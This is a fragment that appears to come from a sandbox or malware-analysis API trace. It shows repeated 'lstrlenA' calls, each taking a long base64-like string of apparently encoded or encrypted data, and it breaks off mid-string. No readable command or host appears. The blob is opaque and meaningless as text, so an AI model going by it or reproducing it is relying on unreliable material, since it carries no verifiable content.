Vz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.886] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.886] lstrlenA (lpString="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